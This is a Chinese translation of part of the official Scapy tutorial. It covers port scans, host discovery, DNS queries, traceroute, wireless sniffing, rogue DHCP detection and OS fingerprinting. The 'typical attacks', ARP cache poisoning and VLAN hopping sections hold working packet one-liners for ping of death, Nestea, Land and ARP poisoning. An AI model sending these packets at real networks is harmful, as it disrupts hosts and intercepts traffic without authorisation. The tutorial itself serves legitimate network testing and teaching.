SCAPY官方教程五

一、简单的one-liners

ACK Scan

使用 Scapy 强大的数据包制作工具,我们可以快速复制经典的 TCP 扫描。例如,将发送以下字符串来模拟 ACK 扫描:

>>> ans, unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))

我们可以在应答的数据包中找到未过滤的端口:

>>> for s,r in ans:
...     if s[TCP].dport == r[TCP].sport:
...        print("%d is unfiltered" % s[TCP].dport)

同样,过滤后的端口可以在未应答的数据包中找到:

>>> for s in unans:
...     print("%d is filtered" % s[TCP].dport)

Xmas Scan

可以使用以下命令启动 Xmas Scan:

>>> ans, unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )

检查 RST 响应将显示目标上的关闭端口。

IP Scan

较低级别的 IP 扫描可用于枚举支持的协议:

>>> ans, unans = sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)

ARP Ping

在本地以太网上发现主机的最快方法是使用 ARP Ping 方法:

>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)

可以使用以下命令查看答案:

>>> ans.summary(lambda s,r: r.sprintf("%Ether.src% %ARP.psrc%") )

Scapy 还包括一个内置的 arping() 函数,其执行类似于上述两个命令:

>>> arping("192.168.1.0/24")

ICMP Ping

可以使用以下命令模拟经典 ICMP Ping:

>>> ans, unans = sr(IP(dst="192.168.1.0/24")/ICMP(), timeout=3)

可以通过以下请求收集有关实时主机的信息:

>>> ans.summary(lambda s,r: r.sprintf("%IP.src% is alive") )

TCP Ping

在 ICMP 回显请求被阻塞的情况下,我们仍然可以使用各种 TCP Ping,例如下面的 TCP SYN Ping:

>>> ans, unans = sr( IP(dst="192.168.1.0/24")/TCP(dport=80,flags="S") )

对我们的探测的任何响应都将指示一个活动主机。我们可以使用以下命令收集结果:

>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )

UDP Ping

如果所有其他方法都失败了,总会有 UDP Ping 会从活动主机产生 ICMP 端口不可达错误。在这里您可以选择最有可能关闭的任何端口,例如端口 0:

>>> ans, unans = sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )

再次,可以使用以下命令收集结果:

>>> ans.summary( lambda s,r : r.sprintf("%IP.src% is alive") )

二、DNS请求

IPv4 (A) 请求:

这将执行一个寻找 IPv4 地址的 DNS 请求

>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="A")))
>>> ans.an.rdata
'217.25.178.5'

SOA 请求:

>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="secdev.org",qtype="SOA")))
>>> ans.ns.mname
b'dns.ovh.net.'
>>> ans.ns.rname
b'tech.ovh.net.'

MX 请求:

>>> ans = sr1(IP(dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(rd=1,qd=DNSQR(qname="google.com",qtype="MX")))
>>> results = [x.exchange for x in ans.an.iterpayloads()]
>>> results
[b'alt1.aspmx.l.google.com.',
 b'alt4.aspmx.l.google.com.',
 b'aspmx.l.google.com.',
 b'alt2.aspmx.l.google.com.',
 b'alt3.aspmx.l.google.com.']

三、典型攻击

畸形数据包:

>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

死亡之音(Muuahahah):

>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )

雀巢攻击:

>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))

陆地攻击(专为 Microsoft Windows 设计):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

四、ARP缓存中毒

此攻击通过 VLAN 跳跃攻击毒化其 ARP 缓存来防止客户端加入网关。

经典的 ARP 缓存中毒:

>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

双重 802.1q 封装的 ARP 缓存中毒:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
      /ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

五、TCP 端口扫描

在每个端口上发送一个 TCP SYN。等待 SYN-ACK 或 RST 或 ICMP 错误:

>>> res, unans = sr( IP(dst="target")
                /TCP(flags="S", dport=(1,1024)) )

可能的结果可视化:开放端口

>>> res.nsummary( lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

六、IKE 扫描

我们尝试通过发送 ISAKMP 安全协会提案并接收答案来识别 VPN 集中器:

>>> res, unans = sr( IP(dst="192.168.1.0/24")/UDP()
                /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
                /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
              )

在列表中可视化结果:

>>> res.nsummary(prn=lambda s,r: r.src, lfilter=lambda s,r: r.haslayer(ISAKMP) )

七、高级跟踪路由

TCP SYN 跟踪路由

>>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))

结果将是:

>>> ans.summary( lambda s,r: r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1     time-exceeded
68.86.90.162    time-exceeded
4.79.43.134     time-exceeded
4.79.43.133     time-exceeded
4.68.18.126     time-exceeded
4.68.123.38     time-exceeded
4.2.2.1         SA

UDP 跟踪路由

像我们使用 TCP 一样跟踪 UDP 应用程序是不可靠的,因为没有握手。我们需要给出一个应用有效载荷(DNS、ISAKMP、NTP 等)才能得到答案:

>>> res, unans = sr(IP(dst="target", ttl=(1,20))
              /UDP()/DNS(qd=DNSQR(qname="test.com"))

我们可以将结果可视化为路由器列表:

>>> res.make_table(lambda s,r: (s.dst, s.ttl, r.src))

DNS 跟踪路由

我们可以通过在函数参数中指定一个完整的数据包来执行 DNS 跟踪路由traceroute()

>>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
   4.2.2.1:udp53
1  192.168.1.1     11
4  68.86.90.162    11
5  4.79.43.134     11
6  4.79.43.133     11
7  4.68.18.62      11
8  4.68.123.6      11
9  4.2.2.1
...

八、Etherleaking

>>> sr1(IP(dst="172.16.1.232")/ICMP())
>>

九、ICMP leaking

这是一个 Linux 2.0 错误:

>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
>>>>

十、Vlan 跳跃

在非常特殊的情况下,双重 802.1q 封装会使数据包跳转到另一个 VLAN:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

十一、无线嗅探

以下命令将显示类似于大多数无线嗅探器的信息:

sniff(iface="ath0", prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}"))

在 Windows 和 OSX 上,您还需要使用monitor=True,它仅适用于 scapy>2.4.0 (2.4.0dev+)。这可能需要您手动切换监视器模式。

上面的命令将产生类似于下面的输出:

00:00:00:01:02:03 netgear      6L   ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L   short-slot+ESS+privacy
44:55:66:00:11:22 linksys      6L   short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR      6L   short-slot+ESS+privacy+short-preamble

十二、简单的 ARP 监视器

该程序使用sniff()回调(参数 prn)。store 参数设置为 0,这样sniff()函数就不会存储任何东西(否则它会这样做),因此可以永远运行。filter 参数用于在高负载下获得更好的性能:过滤器应用于内核内部,Scapy 只会看到 ARP 流量。

#! /usr/bin/env python
from scapy.all import *

def arp_monitor_callback(pkt):
    if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
        return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback, filter="arp", store=0)

十三、识别 LAN 上的恶意 DHCP 服务器

您怀疑有人在您的 LAN 上安装了一个额外的、未经授权的 DHCP 服务器——无论是无意的还是恶意的。因此,您要检查任何活动的 DHCP 服务器并识别它们的 IP 和 MAC 地址。

使用 Scapy 发送 DHCP 发现请求并分析回复:

>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True)      # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets

在这种情况下,我们收到了 2 个回复,因此测试网络上有两个活动的 DHCP 服务器:

>>> ans.summary()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP

我们只对回复的 MAC 和 IP 地址感兴趣:

>>> for p in ans: print p[1][Ether].src, p[1][IP].src
...
00:de:ad:be:ef:00 192.168.1.1
00:11:11:22:22:33 192.168.1.11

我们指定multi=True让 Scapy 在收到第一个响应后等待更多的响应数据包。这也是为什么我们不能使用更方便的dhcp_request()功能而不得不手动构造DHCP数据包的原因:dhcp_request()用于srp1()发送和接收,因此会在第一个应答数据包后立即返回。

此外,Scapy 通常会确保回复来自发送刺激的同一 IP 地址。但是我们的 DHCP 数据包被发送到 IP 广播地址(255.255.255.255),任何应答数据包都将以回复的 DHCP 服务器的 IP 地址作为其源 IP 地址(例如 192.168.1.1)。因为这些 IP 地址不匹配,我们必须在发送刺激之前禁用 Scapy 的检查。

conf.checkIPaddr = False

详情参考:

http://en.wikipedia.org/wiki/Rogue_DHCP

十四、过滤操作

特殊案例

过滤操作后的 TTL 递减仅未过滤的数据包生成 ICMP TTL 超出

>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
        if r.haslayer(ICMP) and r.payload.type == 11:
            print s.dport

在多 NIC 防火墙上查找子网,只有他自己的 NIC 的 IP 可以通过此 TTL 访问:

>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst

TCP 时间戳过滤

许多防火墙包含一个规则来丢弃没有设置 TCP 时间戳选项的 TCP 数据包,这在流行的端口扫描程序中很常见。

要允许 Scapy 到达目标目的地,必须使用其他选项:

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))

十五、使用 Wireshark 查看数据包

您已经使用 Scapy 生成或嗅探了一些数据包。

现在您想使用Wireshark查看它们,因为它具有高级数据包解析功能。

这wireshark()就是为了!

# First, generate some packets...
packets = IP(src="192.0.2.9", dst=Net("192.0.2.10/30"))/ICMP()

# Show them with Wireshark
wireshark(packets)

Wireshark 将在后台启动,并显示您的数据包。

wireshark ( pktlist , ... )

使用Packetor PacketList,序列化您的数据包,并将其流式传输到 Wireshark中,stdin就好像它是一个捕获设备一样。

因为这使用pcap格式来序列化数据包,所以有一些限制:

  • 数据包必须全部相同linktype

    例如,您不能在顶层混合Ether和。IP

  • 数据包必须DLT_*为 linktype. 不支持linktype的被替换为DLT_EN10MB (以太网),并且在 Wireshark 中显示不正确。

    例如,不能传递裸ICMP数据包,但您可以将其作为一个IPIPv6数据包的有效负载发送。

使用文件名(作为字符串传递),这会在 Wireshark 中加载给定的文件。这需要采用 Wireshark 支持的格式。

conf.prog.wireshark您可以通过更改配置设置告诉 Scapy 在哪里可以找到 Wireshark 可执行文件。

这接受与 相同的额外参数tcpdump()

WiresharkSink

用于实时流数据包的PipeTools 接收器。

线鲨(1)

Wireshark 功能及其命令行参数的附加说明。

Wireshark 的网站

对于 Wireshark 的最新版本。

Wireshark 协议参考

包含有关 Wireshark 协议解析器的详细信息,以及各种网络协议的参考文档。

十六、Scapy的性能表现

Scapy 在重负载下会缓慢剖析和/或丢失数据包。

请记住,Scapy 的设计目的不是快速,而是易于破解和扩展。与几乎所有其他替代方案相比,数据包模型使得创建新层变得非常容易,但会带来性能成本。当然,我们仍然尽最大努力让 Scapy 尽可能快,但这不是绝对的主要目标。

有很多方法可以加速 scapy 的解剖。您可以使用所有这些

  • 使用 BPF 过滤器:操作系统比 Scapy 快。如果您让操作系统过滤数据包而不是 Scapy,它只会处理一小部分负载。使用函数的filter=参数sniff()。

  • 通过禁用您不使用的图层:如果您不使用某些图层,为什么要剖析它们?您可以让 Scapy 知道要剖析哪些层,而所有其他层将被简单地解析为Raw. 这带来了巨大的性能提升,但需要您知道自己在做什么。

# Enable filtering: only Ether, IP and ICMP will be dissected
conf.layers.filter([Ether, IP, ICMP])
# Disable filtering: restore everything to normal
conf.layers.unfilter()

十七、操作系统指纹

序列号

Scapy 可用于分析 ISN(初始序列号)增量,以发现可能存在漏洞的系统。首先,我们将通过在循环中发送多个 SYN 探测来收集目标响应:

>>> ans, unans = srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))

一旦我们获得了合理数量的响应,我们就可以开始分析收集到的数据,如下所示:

>>> temp = 0
>>> for s, r in ans:
...    temp = r[TCP].seq - temp
...    print("%d\t+%d" % (r[TCP].seq, temp))
...
4278709328      +4275758673
4279655607      +3896934
4280642461      +4276745527
4281648240      +4902713
4282645099      +4277742386
4283643696      +5901310

nmap_fp

Scapy 支持 Nmap 指纹识别(由 Nmap 直到 v4.20 完成的旧的“第一代”指纹)。在 Scapy v2 中,您必须先加载一个扩展模块:

>>> load_module("nmap")

如果你安装了 Nmap,你可以将它的活动操作系统指纹数据库与 Scapy 一起使用。确保签名数据库的版本 1 位于以下指定的路径中:

>>> conf.nmap_base

然后你可以使用nmap_fp()实现与 Nmap 的操作系统检测引擎相同的探测功能:

>>> nmap_fp("192.168.1.1",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
*................................................
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])

p0f

如果您的系统上安装了 p0f,您可以使用它直接从 Scapy 猜测操作系统名称和版本(仅使用 SYN 数据库)。首先确保 p0f 数据库存在于指定的路径中:

>>> conf.p0f_base

例如,从单个捕获的数据包中猜测操作系统:

>>> sniff(prn=prnp0f)
192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
  -> 74.125.19.104:www (distance 0)

你可能感兴趣的:(网络协议栈及数通设备应用,大数据)